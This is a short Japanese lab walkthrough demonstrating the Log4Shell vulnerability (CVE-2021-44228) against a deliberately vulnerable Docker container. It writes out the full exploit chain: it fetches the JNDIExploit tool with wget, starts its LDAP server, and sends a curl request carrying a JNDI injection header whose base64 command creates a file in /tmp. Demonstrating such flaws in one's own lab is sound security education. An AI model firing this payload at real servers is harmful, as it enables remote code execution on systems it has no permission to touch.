
このリポジトリは、Log4j 2021(CVE-2021-44228)の脆弱性のデモンストレーションと緩和策のためのものです。
このリポジトリは、Log4j 2021(CVE-2021-44228)の脆弱性のデモンストレーションと緩和策のためのものです。
CVE-2021-44228 / Log4Shellの脆弱性は、悪意のあるペイロードを脆弱なソフトウェアに注入することで構成され、Log4JにJNDIとLDAPプロトコルを通じて第三者ソースから値を取得するよう要求させます。... 取り込まれたデータはコードになる可能性があり、それがシステム上でLog4Jによって実行されます。
DockerでCVE-2021-44228に対して脆弱なSpring Boot Webアプリケーションを実行します。これは@christophetdによってLog4Shellと名付けられました。
これはLog4j 2.14.1(spring-boot-starter-log4j2 2.6.1経由)とJDK 1.8.0_181を使用しています。
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

このケースではWebアーカイブからLog4Shell用のJNDI Exploitをダウンロードしますが、入手可能な場所であればどこからでもダウンロードできます。
wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip


Log4ShellアプリケーションのDockerを実行している自分のマシンのIPアドレスを取得します。
ifconfig

Log4Shell用のJNDI Exploitが入ったzipを解凍してJARを取得し、ステップ3で取得した自分のIPを指定して実行します。
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'


docker exec vulnerable-app ls /tmp

WindowsとLinuxでLog4Shellの脆弱性を緩和する方法のビデオ:緩和策

Feryael Justice 2022